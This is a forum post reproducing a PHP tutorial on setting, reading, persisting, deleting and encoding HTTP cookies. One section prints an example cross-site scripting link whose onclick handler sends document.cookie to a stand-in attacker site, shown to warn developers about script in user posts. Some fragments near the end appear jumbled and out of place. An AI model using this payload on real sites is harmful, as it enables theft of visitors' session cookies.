![]() |
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]()
![]() |

|
| Programming tutorials All Knowledge Info and links to posted here |
![]() |
|
PHP Script Tips - Understanding and Managing Cookies
|
LinkBack | Thread Tools | Display Modes |
|
|
#1 (permalink) |
|
Administrator
Posts: 18,715
Join Date: Jan 2006
Rep Power: 10
IM:
|
A cookie is a small amount of information sent by a Web server to a web browser and then sent back unchanged by the browser each time it accesses that server. HTTP cookies are used for authenticating, tracking, and maintaining specific information about users, such as site preferences and the contents of their electronic shopping carts. The term "cookie" is derived from "magic cookie", a well-known concept in computing which inspired both the idea and the name of HTTP cookies. A cookie consists of a cookie name and cookie value. For example, you can design a cookie with a name of "LoginName" and a value of "FYICenter". How To Send a Cookie to the Browser? If you want to sent a cookie to the browser when it comes to request your PHP page, you can use the setcookie( ) function. Note that you should call setcookie() function before any output statements. The following script shows you how to set cookies: <?php setcookie("LoginName","FYICenter"); setcookie("PreferredColor","Blue"); print("2 cookies were delivered.\n"); ?> </pre> How To Receive a Cookie from the Browser? If you know that a cookie has been sent to the browser when it was visiting the server previously, you can check the built-in $_COOKIE array, which contains all cookies that were sent by the server previously. The script below shows you how to pickup one cookie from the $_COOKIE and loop through all cookies in $_COOKIE: <?php if (isset($_COOKIE["LoginName"])) { $loginName = $_COOKIE["LoginName"]; print("Received a cookie named as LoginName: ".$loginName."\n"); } else { print("Did not received any cookie named as LoginName.\n"); } print("All cookies received:\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } ?> </pre> How To Test Cookies on a Web Server? If you want to test cookies with a browser, you need to run a Web server locally, or have access to a Web server remotely. Then you can copy the following PHP cookie test page, setting_receiving_cookies.php, to the Web server: <?php setcookie("LoginName","FYICenter"); setcookie("PreferredColor","Blue"); print("<pre>\n"); print("2 cookies were delivered.\n"); if (isset($_COOKIE["LoginName"])) { $loginName = $_COOKIE["LoginName"]; print("Received a cookie named as LoginName: ".$loginName."\n"); } else { print("Did not received any cookie named as LoginName.\n"); } $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?> </pre> If you open this PHP page with a browser as http://localhost/setting_receiving_cookies.php, you will get: 2 cookies were delivered. Did not received any cookie named as LoginName. 0 cookies received. </pre> "0 cookies received" is because there was no previous visit from this browser. But if you click the refresh button of your browser, you will get: 2 cookies were delivered. Received a cookie named as LoginName: FYICenter 2 cookies received. LoginName = FYICenter </pre>What Is a Persistent Cookie? A persistent cookie is a cookie which is stored in a cookie file permanently on the browser's computer. By default, cookies are created as temporary cookies which stored only in the browser's memory. When the browser is closed, temporary cookies will be erased. You should decide when to use temporary cookies and when to use persistent cookies based on their differences:
If you want to set a persistent cookie, you can use the setcookie() function with an extra parameter to specify its expiration time. To follow sample script sets 2 persistent cookies to be expired within 7 days: setcookie("LoginName","FYICenter"); setcookie("PreferredColor","Blue"); setcookie("CouponNumber","07470433",time()+60*60*2 4*7); setcookie("CouponValue","100.00",time()+60*60*24*7 ); print("2 temporary cookies were delivered.\n"); print("2 consistent cookies were delivered.\n"); How To Test Persistent Cookies? If you want to test persistent cookies, you can copy the following PHP script, setting_persistent_cookies.php, to your Web server: <?php setcookie("LoginName","FYICenter"); setcookie("PreferredColor","Blue"); setcookie("CouponNumber","07470433",time()+60*60*2 4*7); setcookie("CouponValue","100.00",time()+60*60*24*7 ); print("<pre>\n"); print("2 temporary cookies were delivered.\n"); print("2 consistent cookies were delivered.\n"); if (isset($_COOKIE["LoginName"])) { $loginName = $_COOKIE["LoginName"]; print("Received a cookie named as LoginName: ".$loginName."\n"); } else { print("Did not received any cookie named as LoginName.\n"); } $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?> Open your browser to visit this page: http://localhost/setting_persistent_cookies.php. You will see: 2 temporary cookies were delivered. 2 consistent cookies were delivered. Did not received any cookie named as LoginName. 0 cookies received. Click the refresh button, you will see: 2 temporary cookies were delivered. 2 consistent cookies were delivered. Received a cookie named as LoginName: FYICenter 4 cookies received. LoginName = FYICenter PreferredColor = Blue CouponNumber = 07470433 CouponValue = 100.00 Close your browser and open it again to the same page. You will see: 2 temporary cookies were delivered. 2 consistent cookies were delivered. Did not received any cookie named as LoginName. 2 cookies received. CouponNumber = 07470433 CouponValue = 100.00 This proves that "CouponNumber" and CouponValue" persisted outside the browse How To Remove a Cookie? Once a cookie is sent from the server to the browser, there is no direct way for the server to ask the browser to remove the cookie. But you can use the setcookie() function to send the same cookie to browser with a negative expiration time, which will cause the browser to expire (remove) the cookie immediately. The next sample PHP page will let you remove "CouponNumber" and CouponValue" persisted by the previous tutorial exercise: <?php setcookie("CouponNumber","",time()-1); setcookie("CouponValue","",time()-1); print("<pre>\n"); print("2 cookies were delivered with past times.\n"); $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?> </pre> Open your browser to visit this page: http://localhost/removing_cookies.php. You will see: 2 cookies were delivered with past times. 2 cookies received. CouponNumber = 07470433 CouponValue = 100.00 </pre> Click the refresh button, you will see: 2 cookies were delivered with past times. 0 cookies received. </pre> As you can see, both cookies are removed. What Are Domain and Path Attributes for Cookies? Cookies can also be defined with two other attributes:
If you want to specify domain and path for cookie, you can use the setcookie() function with two extra parameters. The sample PHP script below shows you how to set the domain and path attributes for temporary and persistent cookies: <?php setcookie("LoginName","FYICenter", NULL, "/", ".fyicenter.com"); setcookie("PreferredColor","Blue", NULL, "/", ".fyicenter.com"); setcookie("CouponNumber","07470433",time()+60*60*2 4*7, "/store", ".fyicenter.com"); setcookie("CouponValue","100.00",time()+60*60*24*7 , "/store", ".fyicenter.com"); print("2 temporary cookies were delivered.\n"); print("2 consistent cookies were delivered.\n"); ?> </pre> What Is the Common Mistake When Setting Path and Domain on Temporary Cookies? A common mistake made by many PHP developers is using an empty string for the expiration time parameter when setting path and domain for temporary cookies. The PHP script below shows an example of this mistake: <?php # Incorrect use of setcookie() setcookie("LoginName","FYICenter", "", "/", ".fyicenter.com"); # Correct use of setcookie() setcookie("PreferredColor","Blue", NULL, "/", ".fyicenter.com"); ?> </pre> If you run this script, you will get an error: PHP Warning: setcookie() expects parameter 3 to be long, </pre>How To View Cookie Header Lines? If you are interested to see the cookie header lines, or you are having trouble with your cookies and need to see the cookies to help debugging, you can run your script with PHP CGI interface in a command line window. The following tutorial exercise shows you a good example: >edit showing_cookie_header_lines.php <?php setcookie("LoginName","FYICenter"); setcookie("PreferredColor","Blue", NULL, "/store"); setcookie("CouponNumber","07470433",time()+60*60*2 4*7,"/store"); setcookie("CouponValue","100.00",time()+60*60*24*7 , "/store", ".fyicenter.com"); print("4 cookies were delivered.\n"); ?> >php-cgi showing_cookie_header_lines.php Content-type: text/html X-Powered-By: PHP/5.0.4 Set-Cookie: LoginName=FYICenter Set-Cookie: PreferredColor=Blue; path=/store Set-Cookie: CouponNumber=07470433; expires=Sun, 05 Mar 2006 02:33:43 GMT; path=/store Set-Cookie: CouponValue=100.00; expires=Sun, 05 Mar 2006 02:33:43 GMT; path=/store; domain=.fyicenter.com 4 cookies were delivered. How Cookies Are Transported from Browsers to Servers? Cookies are transported from a Web browser to a Web server in the header area of the HTTP request message. Each cookie will be included in a separate "Cookie:" header line in the following format: GET / HTTP/1.1 Cookie: name1=value1 Cookie: name2=value2 Cookie: name3=value3 ...... Accept: */* Where Are the Persistent Cookies Stored on Your Computer? The location and file names where persistent cookies are stored on your computer depend on which browser you are using. If you using Microsoft Internet Explorer, persistent cookies are stored in the \Documents and Settings\$user\Cookies directory. Cookies are stored in multiple cookie files with one file per Web server. Check your cookie directory on your local system, you will be surprised to see how many Web servers are setting persistent cookies to your computer. How To Delete Cookie Files on Your Computer? A simple way to delete cookie files on your computer is to use the function offered by the IE browser. The following tutorial exercise shows you how to delete cookie files created by IE:
How View the Content of a Cookie File? Cookie files are normal text files. You can view them with any text editor. Follow the steps below to see what is in a cookie file created by your own PHP script. Copy the following sample script, setting_persistent_cookies.php, to your Web server: <?php setcookie("LoginName","FYICenter"); setcookie("PreferredColor","Blue"); setcookie("CouponNumber","07470433",time()+60*60*2 4*7); setcookie("CouponValue","100.00",time()+60*60*24*7 ); print("<pre>\n"); print("2 temporary cookies were delivered.\n"); print("2 consistent cookies were delivered.\n"); if (isset($_COOKIE["LoginName"])) { $loginName = $_COOKIE["LoginName"]; print("Received a cookie named as LoginName: ".$loginName."\n"); } else { print("Did not received any cookie named as LoginName.\n"); } $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?> Open your IE browser to visit this page: http://localhost/setting_persistent_cookies.php. You will see: 2 temporary cookies were delivered. 2 consistent cookies were delivered. Did not received any cookie named as LoginName. 0 cookies received. </pre> Now go to \Documents and Settings\$user\Cookies directory and open the cookie file, $user@localhost.txt. You will see: CouponNumber 07470433 localhost/ 1024 3084847744 29787636 2404950512 29786228 * CouponValue 100.00 localhost/ 1024 3084847744 29787636 2405150512 29786228 * </pre> How Does FireFox Manage Cookies? FireFox browser allows you to delete old cookies, and gives you options to keep persistent cookies in cookie files until they reach their expiration time. The following tutorial shows you how to manage cookies in FireFox:
If you change FireFox to keep cookies "until they expire", FireFox will store persistent cookies from all Web servers in a single file at: \Documents and Settings\$user\Application Data\Mozilla \Firefox\Profiles\xby7vgys.default\cookie.txt. Open your FireFox browser to visit this page: http://localhost/setting_persistent_cookies.php. Then open FireFox cookie file. You will see: # HTTP Cookie File # http://www.netscape.com/newsref/std/cookie_spec.html # This is a generated file! Do not edit. # To delete cookies, use the Cookie Manager. localhost FALSE / FALSE 1149219379 CouponValue 100.00 localhost FALSE / FALSE 1149219379 CouponNumber 07470433 ...... </pre> How Many Cookies Can You Set? How many cookies can you set in your PHP page? The answer is depending what is the Web browser your visitor is using. Each browser has its own limit:
<?php $count = count($_COOKIE); $name = "Cookie_".($count+1); $value = "FYICenter.com"; setcookie($name, $value); print("<pre>\n"); print("One cookies were added.\n"); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?> </pre> Open your browser to this page for first time, you will see: One cookies were added. </pre>Click the refresh button, you will see: One cookies were added. 1 cookies received. Cookie_1 = FYICenter.com Keep clicking the refresh button, you will see the limit of your browser. How Large Can a Single Cookie Be? How large can a single cookie be? The answer is depending what is the Web browser your visitor is using. Each browser has its own limit:
<?php if (isset($_COOKIE["HomeSite"])) { $value = $_COOKIE["HomeSite"]; } else { $value = ""; } $value .= "http://dev.FYICenter.com/faq/php"; setcookie("HomeSite", $value); print("<pre>\n"); print("Large cookie set with ".strlen($value)." characters.\n"); print("</pre>\n"); ?> Open your browser to this page for first time, you will see: Large cookie set with 32 characters. Click the refresh button, you will see: Large cookie set with 64 characters. Keep clicking the refresh button, you will see the limit of your browser. How Are Cookies Encoded During Transportation? When cookies are transported from servers to browsers and from browsers back to servers, Cookies values are always encoded using the URL encoding standard to ensure that they are transported accurately. But you don't need to worry about the encoding and decoding processes yourself. PHP engine will automatically encode cookies created by setcookie(), and decode cookies in the $_COOKIE array. The tutorial exercise will help you understand this concept better. Write a sample PHP script, encoding_cookies.php, like this: <?php setcookie("Letters", "FYICenter"); setcookie("Symbols", "A~!@#%^&*(), -_=+[]{};:'\"/?<>."); setcookie("Latin1", "\xE6\xE7\xE8\xE9\xA5\xA9\xF7\xFC"); print("<pre>\n"); $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?> First, run this script off-line in a command window: >php-cgi encoding_cookies.php Content-type: text/html X-Powered-By: PHP/5.0.4 Set-Cookie: Letters=FYICenter Set-Cookie: Symbols=A%7E%21%40%23%25%5E%26%2A%28%29%2C +-_%3D%2B%5B%5D%7B%7D%3B%3A%27%22%2F%3F%3C%3E. Set-Cookie: Latin1=%E6%E7%E8%E9%A5%A9%F7%FC <pre> 0 cookies received. </pre> You see how cookie values are encoded now. Then copy the script, encoding_cookies.php to the Web server, and run it with a browser. You will get: 3 cookies received. Letters = FYICenter Symbols = A~!@#%^&*(), -_=+[]{};:\'\"/?.<> Latin1 = ���饩�� This shows that the values in the $_COOKIE array are already decoded. How Can Other Webmaster Steal Your Cookies? All browsers are following the security rule that your cookies are sent back only to your Web servers. They will not be sent to other Webmaster's Web server directly. However, other Webmaster may design some malicious JavaScript codes to steal cookies created by your PHP pages. For example, if you allow visitors to post messages in your forum, comment area, or guestbooks with hyper links. A bad Webmaster who owns a Web site called www.badwebmaster.com could post a message like this on your Web site with a malicious hyper link: <a href="#" onclick="window.location='http://www.badwebmaster.com /stole.cgi?text='+escape(document.cookie); return false;"> Click here to get your free gift! </pre> If your visitor clicks this hyper link, all of your cookie values will be sent to this bad Webmaster's CGI program as part of the GET URL (not as cookies). So check your forum, comment book or guestbook program. And do not allow visitors to post messages with client side scripts. 0 cookies received. </pre> string given in \php_working_with_cookies.php on line 3 </pre> How Cookies Are Transported from Servers to Browsers? Cookies are transported from a Web server to a Web browser in the header area of the HTTP response message. Each cookie will be included in a separate "Set-Cookie:" header line in the following format: Set-Cookie: name=value; expires=time; path=pathVal; domain=domainVal </pre> PreferredColor = Blue </pre> |
|
|
|
|
|
|
![]() |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| Cookies directory in Vista | Anilrgowda | Microsoft windows vista error | 1 | 31-Aug-2007 03:26 AM |
| Cookies Tutorial | AQUARIAN | Programming tutorials | 1 | 27-Feb-2007 01:20 AM |
| Block Third-Party Cookies in IE7 | Anilrgowda | Internet Explorer Error | 0 | 30-Jan-2007 02:14 AM |
| Manage Cookies in Internet Explorer | Anilrgowda | Internet Explorer Error | 0 | 29-Jan-2007 07:10 AM |
| PHP Script Tips - Understanding and Using Sessions | Anilrgowda | Programming tutorials | 0 | 21-Dec-2006 02:03 AM |